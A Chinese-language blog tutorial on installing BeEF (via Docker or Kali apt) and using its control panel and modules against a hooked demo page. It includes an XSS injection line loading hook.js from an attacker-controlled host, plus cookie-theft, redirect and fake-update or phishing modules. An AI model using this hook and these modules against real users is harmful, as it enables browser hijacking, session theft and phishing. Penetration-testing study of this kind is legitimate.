BeEF 简单使用
工具介绍
- BeEF(Browser Exploitation Framework)是一个专门设计用于利用浏览器漏洞的工具。它的主要目的是通过- Web浏览器与目标系统建立连接,然后利用浏览器的安全漏洞进行攻击。
- "XSS"代表跨站脚本攻击,而- BeEF则是在这方面发挥较大作用的工具之一。
- BeEF的功能包括:- 浏览器指纹识别: 可以识别目标系统上正在运行的浏览器类型和版本。
- 漏洞利用: 利用浏览器的安全漏洞,可能包括 XSS漏洞。
- 模块化架构: 允许用户自定义和添加模块,以执行各种攻击。
- 实时通信: BeEF可以与浏览器建立实时通信,使攻击者能够与受害者进行交互。
 
工具安装
- 这里采用 Docker安装,可以参考历史文章:https://yongz.fun/posts/4236c78.html
- 具体安装可以参考 DockerHub上的文章:https://hub.docker.com/r/beefproject/beef
Docker Build
- 下载 BeEF源码:
| 1 | git clone https://github.com/beefproject/beef | 
- BeEF默认情况下将其凭据设置为- beef:beef,但不允许使用默认凭据进行身份验证。因此,如果在不更改凭据的情况下构建映像,将无法验证容器的- BeEF实例。
- 官方说的很清楚了(淦,我排了半天错),修改config.yaml文件:
| 1 | credentials: | 
- 构建镜像:
| 1 | docker build -t beef . | 
- 到这一步,百分之八十应该是失败的或者构建时间非常漫长,因为对方使用的镜像源为官方源(http://deb.debian.org/debian):
| 1 | $ docker build -t beef . | 
Docker Pull
- 有一点很奇怪,虽然 BeEF在HubDocker上有镜像,但并没讲怎么用,反而还需要去GitHub上下载源码安装。
- 所以这里我们来 pull 镜像研究研究,使用如下命令直接拉取并启动容器:
注:这里简化了一下,将其他端口去掉了,
3000端口为管理和钩子端口。
| 1 | docker run -p 3000:3000 --name beef beefproject/beef | 
- 会产生一个报错信息:
| 1 | docker run -p 3000:3000 --name beef beefproject/beef | 
- 经过简单的百度,可以这么解决:
| 1 | find / -name beef_key.pem | 
- 这样即可找到对应的配置文件,修改 config.yaml文件即可:
| 1 | vim /var/lib/docker/overlay2/fbfd5e7288d241345a439185c91405ea2b02687c28ef259be175e89821e2911e/diff/beef/config.yaml | 
- 后续再重启 Docker即可:
| 1 | docker start beef | 
- 当然还有一个其他大佬做成的镜像,是可以直接使用的:
| 1 | docker run -p 3000:3000 --name beef janes/beef | 
APT Install
- 如果是在 Kali Linux里面,安装会简单很多:
| 1 | apt install beef-xss | 
- 使用如下命令启动:
| 1 | beef-xss | 
工具使用
- 在启动 BeEF时,终端命令行中出现以下四个重要网址,功能介绍如下:- Web 界面管理控制台:http://xxx.xxx.xxx.xxx:3000/ui/panel- 用于查看上钩的鱼儿以及对不同的目标进行管理操作
 
- 钩子链接:http://xxx.xxx.xxx.xxx:3000/hook.js- 只要有人运行该文件,就会在管理控制台上线(上钩)。
 
- 测试网址:- http://xxx.xxx.xxx.xxx:3000/demos/basic.html:演示使用范例
- http://xxx.xxx.xxx.xxx:3000/demos/butcher/index.html:带有钩子的页面
 
 
- Web 界面管理控制台:
- 访问 demos/butcher/index.html页面,测试能否上钩:

- 页面模块说明如下:- Online Browsers:在线浏览器,工具定时发送链接请求,链接成功就会显示在这里。
- Offline Browsers:离线浏览器
- Getting Started:入门指南,官方的一些文档
- Logs:日志,记录工具做过哪些操作
- Zombies:僵尸,记录可以利用的目标站点
- Current Browser:上线的浏览器,只有在目标在线的时候才会显示出来。- Details:细节,展示目标的IP、版本等信息
- Logs:日志、记录目标浏览器做过哪些操作
- Command:指令,工具的核心,不同的指令对应不同的操作- Module Tree:模块树,可以使用的模块功能
- Mpdule Result History:模块使用记录
 
- Proxy:代理设置。
- XssRays:检查页面的链接、表单和 URI 路径(浏览器挂钩的位置)是否容易受到 XSS 攻击。
- Network:查看对方路由跳转。
 
 
常用模块介绍
注:执行操作时,心跳检测一般会停止。
- 在 Command窗口,存放着一些可以执行的命令,不同颜色命令表示靶机浏览器的反应程度:- 绿色模块:模块可用,并且执行结果对用户不可见;
- 橙色模块:模块可用,但结果可能对用户可见;
- 灰色模块:模块不一定可用,没测试过;
- 红色模块:模块不可用。
 
- Module Tree常用分类:- Browser:浏览器- Get Cookie:获取- Cookie信息
- Unhook:脱离控制,脱钩
- Create Alert Dialog:创建报警对话框
- Create Prompt Dialog:创建提示对话框
- Detect Popup Blocker:检测弹出窗口阻止程序
- Redirect Browser:浏览器重定向
 
- Social Engineering:社会工程- Fake Flash Update:虚假 Flash 更新
- Fake Notification Bar:虚假通知栏
- Google Phishing:- Google网络钓鱼
- Pretty Theft:漂亮的盗窃
 
 
- 先定义一个插入语句:
| 1 | <script src="http://xxx.xxx.xxx.xxx:3000/hook.js"></script> | 
Browser
Get Cookie
- 获取对方浏览器 Cookie信息:

Unhook
- 取消 BeEF连接:

- 可以看到对方存活判断报文已停止,主机处以离线状态:

Create Alert Dialog
- 创建报警对话框:

- 查看现象:

Create Prompt Dialog
- 创建提示对话框:

- 查看现象:


Detect Popup Blocker
- 检测弹出窗口阻止程序:

Redirect Browser
- 浏览器重定向:

Social Engineering
Fake Flash Update
- 虚假 Flash更新,更像是强制弹窗:

- 查看现象:

Fake Notification Bar
- 虚假通知栏:

- 查看现象:

Google Phishing
- Google网络钓鱼:

- 查看现象:

Pretty Theft
- 漂亮的盗窃:

- 查看现象:

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yongz丶!











